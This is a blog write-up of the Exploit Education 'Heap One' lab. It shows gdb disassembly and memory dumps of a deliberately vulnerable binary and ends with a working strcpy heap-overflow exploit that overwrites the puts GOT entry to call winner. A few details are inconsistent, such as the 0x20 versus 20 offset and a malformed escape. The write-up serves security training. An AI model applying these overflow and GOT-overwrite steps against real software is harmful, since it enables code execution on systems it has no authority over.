If you haven’t set up your lab yet, feel free to check out my previous article on Exploit.education lab setup
- Stack Zero Writeup - Exploit Education Lab Exercise
- Stack One Writeup - Exploit Education Lab Exercise
- Stack Two Writeup - Exploit Education Lab Exercise
- Stack Three Writeup - Exploit Education Lab Exercise
- Stack Four Writeup - Exploit Education Lab Exercise
- Stack Five Writeup - Exploit Education Lab Exercise
- Stack Six Writeup - Exploit Education Lab Exercise
- Format Zero Writeup - Exploit Education Lab Exercise
- Format One Writeup - Exploit Education Lab Exercise
- Format Two Writeup - Exploit Education Lab Exercise
- Format Three Writeup - Exploit Education Lab Exercise
- Format Four Writeup - Exploit Education Lab Exercise
- Heap Zero Writeup - Exploit Education Lab Exercise
Similar to Heap Zero, Heap One exercise motive is to smash the heap to modify other variables in the heap to a
hex value and technically overwrite
struct in the heap. Similar to
gets in Stack Zero,
strcpy function is unsafe that doesn’t have bounds check, it accepts memory address to write but doesn’t care about overwriting other declared struct variable in the heap region.
Disassembling the code will get you overall idea behind the heap-one code, One can use
gdb ./heap-one to start debugging it in runtime.
disassemble mainto get the disassembled code (assembly)
0x080487d5 <+0>: lea ecx,[esp+0x4] 0x080487d9 <+4>: and esp,0xfffffff0 0x080487dc <+7>: push DWORD PTR [ecx-0x4] 0x080487df <+10>: push ebp 0x080487e0 <+11>: mov ebp,esp 0x080487e2 <+13>: push ebx 0x080487e3 <+14>: push ecx 0x080487e4 <+15>: sub esp,0x10 0x080487e7 <+18>: mov ebx,ecx 0x080487e9 <+20>: sub esp,0xc 0x080487ec <+23>: push 0x8 0x080487ee <+25>: call 0x80490dc <malloc> 0x080487f3 <+30>: add esp,0x10 0x080487f6 <+33>: mov DWORD PTR [ebp-0xc],eax 0x080487f9 <+36>: mov eax,DWORD PTR [ebp-0xc] 0x080487fc <+39>: mov DWORD PTR [eax],0x1 0x08048802 <+45>: sub esp,0xc 0x08048805 <+48>: push 0x8 0x08048807 <+50>: call 0x80490dc <malloc> 0x0804880c <+55>: add esp,0x10 0x0804880f <+58>: mov edx,eax 0x08048811 <+60>: mov eax,DWORD PTR [ebp-0xc] 0x08048814 <+63>: mov DWORD PTR [eax+0x4],edx 0x08048817 <+66>: sub esp,0xc 0x0804881a <+69>: push 0x8 0x0804881c <+71>: call 0x80490dc <malloc> 0x08048821 <+76>: add esp,0x10 0x08048824 <+79>: mov DWORD PTR [ebp-0x10],eax 0x08048827 <+82>: mov eax,DWORD PTR [ebp-0x10] 0x0804882a <+85>: mov DWORD PTR [eax],0x2 0x08048830 <+91>: sub esp,0xc 0x08048833 <+94>: push 0x8 0x08048835 <+96>: call 0x80490dc <malloc> 0x0804883a <+101>: add esp,0x10 0x0804883d <+104>: mov edx,eax 0x0804883f <+106>: mov eax,DWORD PTR [ebp-0x10] 0x08048842 <+109>: mov DWORD PTR [eax+0x4],edx 0x08048845 <+112>: mov eax,DWORD PTR [ebx+0x4] 0x08048848 <+115>: add eax,0x4 0x0804884b <+118>: mov edx,DWORD PTR [eax] 0x0804884d <+120>: mov eax,DWORD PTR [ebp-0xc] 0x08048850 <+123>: mov eax,DWORD PTR [eax+0x4] 0x08048853 <+126>: sub esp,0x8 0x08048856 <+129>: push edx 0x08048857 <+130>: push eax 0x08048858 <+131>: call 0x8048560 <strcpy@plt> 0x0804885d <+136>: add esp,0x10 0x08048860 <+139>: mov eax,DWORD PTR [ebx+0x4] 0x08048863 <+142>: add eax,0x8 0x08048866 <+145>: mov edx,DWORD PTR [eax] 0x08048868 <+147>: mov eax,DWORD PTR [ebp-0x10] 0x0804886b <+150>: mov eax,DWORD PTR [eax+0x4] 0x0804886e <+153>: sub esp,0x8 0x08048871 <+156>: push edx 0x08048872 <+157>: push eax 0x08048873 <+158>: call 0x8048560 <strcpy@plt> 0x08048878 <+163>: add esp,0x10 0x0804887b <+166>: sub esp,0xc 0x0804887e <+169>: push 0x804ab70 0x08048883 <+174>: call 0x80485b0 <puts@plt> 0x08048888 <+179>: add esp,0x10 0x0804888b <+182>: mov eax,0x0 0x08048890 <+187>: lea esp,[ebp-0x8] 0x08048893 <+190>: pop ecx 0x08048894 <+191>: pop ebx 0x08048895 <+192>: pop ebp 0x08048896 <+193>: lea esp,[ecx-0x4] 0x08048899 <+196>: ret
If you carefully check the source, you might miss
winner in the above disassembled code. You can go ahead and type
disassemble winner in the gdb prompt,
0x0804889a <+0>: push ebp 0x0804889b <+1>: mov ebp,esp 0x0804889d <+3>: sub esp,0x8 0x080488a0 <+6>: sub esp,0xc 0x080488a3 <+9>: push 0x0 0x080488a5 <+11>: call 0x8048610 <time@plt> 0x080488aa <+16>: add esp,0x10 0x080488ad <+19>: sub esp,0x8 0x080488b0 <+22>: push eax 0x080488b1 <+23>: push 0x804ab8c 0x080488b6 <+28>: call 0x8048580 <printf@plt> 0x080488bb <+33>: add esp,0x10 0x080488be <+36>: nop 0x080488bf <+37>: leave 0x080488c0 <+38>: ret
Before taking a look at the code, if you disassembled the heap-one using gdb to view the assembly instruction, you may notice the puts, fflush, exit and gets function calls with parameters. So basically when you hit
r in gdb without breakpoint,
- Greet with
Welcome to phoenix/heap-one, brought to you by https://exploit.educationmessage via Puts (aka printf) method
- In the main() function, the program declares two pointers to struct heapStructure called i1 and i2.
- The program allocates memory for i1 using malloc() and sets its priority field to 1.
- The program allocates memory for i1’s name field using malloc() and reserves 8 bytes of memory for it.
- The program allocates memory for i2 using malloc() and sets its priority field to 2.
- The program allocates memory for i2’s name field using malloc() and reserves 8 bytes of memory for it.
- The program uses strcpy() to copy the first command-line argument passed to it by the user into the name field of i1.
- The program uses strcpy() to copy the second command-line argument passed to it by the user into the name field of i2.
- The program prints out a message saying “and that’s a wrap folks!” and then exits.
The primary goal of this exercise is to make you familiar to overwrite function pointer with your own function pointer and therefore redirecting the program flow to achieve code execution within the binary/program. In ideal exploit world, you may overwrite the function pointer and redirect to
system function call to achieve remote code execution and this blog post good example of reflecting this goal. In this exercise, you might want to overwrite the struct
i1 and finally overwrite the
Global offset table.
As you see that the
heapStructure struct is dynamically allocated, they are allocated seperately by
malloc different from stack frame. You can see that
i1.name (8 bytes) gets written at
priority integer variable (4 bytes). The
i2.name (8 bytes) gets written at
priority integer variable (4 bytes). You can verify this by using
vmmap command in gdb.
However, you might want to overwrite the
i2 heap with
i1.name. To find the offset you can simply use
p i1.name - p i2.priority in gdb. The offset is
0x20 bytes. So, you can overwrite the
i2 heap with
i1.name by using
r $(python -c "print('A'*20)") in gdb. You can verify this by using
vmmap command in gdb. Now that you have overwritten the
i2 heap with
i1.name, you can overwrite the
1 to get the
winner function called.
** note that the memory address of
0xf7e69038 which is located within the struct**. You could potentially overwrite this memory address with actual
winner function address and
strcpy will take care of the rest.
(gdb) x/12xw 0xf7e69008 # i1 0xf7e69008: 0x00000001 0xf7e69018 0x00000000 0x00000011 0xf7e69018: 0x41414141 0x41414141 0x41414141 0x41414141 0xf7e69028: 0x41414141 0x41414141 0x00000000 0x00000011 (gdb) x/12xw 0xf7e69028 #i2 0xf7e69028: 0x41414141 0x41414141 0x00000000 0x00000011 0xf7e69038: 0x00000000 0x00000000 0x00000000 0x000fffc1 0xf7e69048: 0x00000000 0x00000000 0x00000000 0x00000000
To get the winner memory address, you can use gdb to disassemble the
winner function and note down the starting address of the function. You can use
disassemble winner command in gdb to disassemble the
winner function. The starting address of the
winner function is
0x0804889a. The address
0x0804889a can be represented in little endian format as
\9a\x88\x04\x08. So, the final payload would be
20 bytes of A + 4 bytes GOT table puts address and the second argument
4 bytes winner address . The
printf address can be found by using
objdump -R heap-one | grep puts command which is
You can use python to generate the payload as follows,
print('A'*20 + '\x40\xc1\x04\x08') + print ('\x9a\x88\x04\x08')
So, the final exploit would be as follows,
user@phoenix-amd64:/opt/phoenix/i486$ /opt/phoenix/i486/heap-one $(python -c "print 'A'*20 + '\x40\xc1\x04\x08'") $(python -c "print '\x9a\x88\x04\x08'") Congratulations, you've completed this level @ 1683325305 seconds past the Epoch
There you go! 🎉 You’ve officially
binary and possibly you could control the program flow and may eventually
perform remote code execution in the system. 🪲
Source and Reference:
- Heap One Exercise: Exploit Education
I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.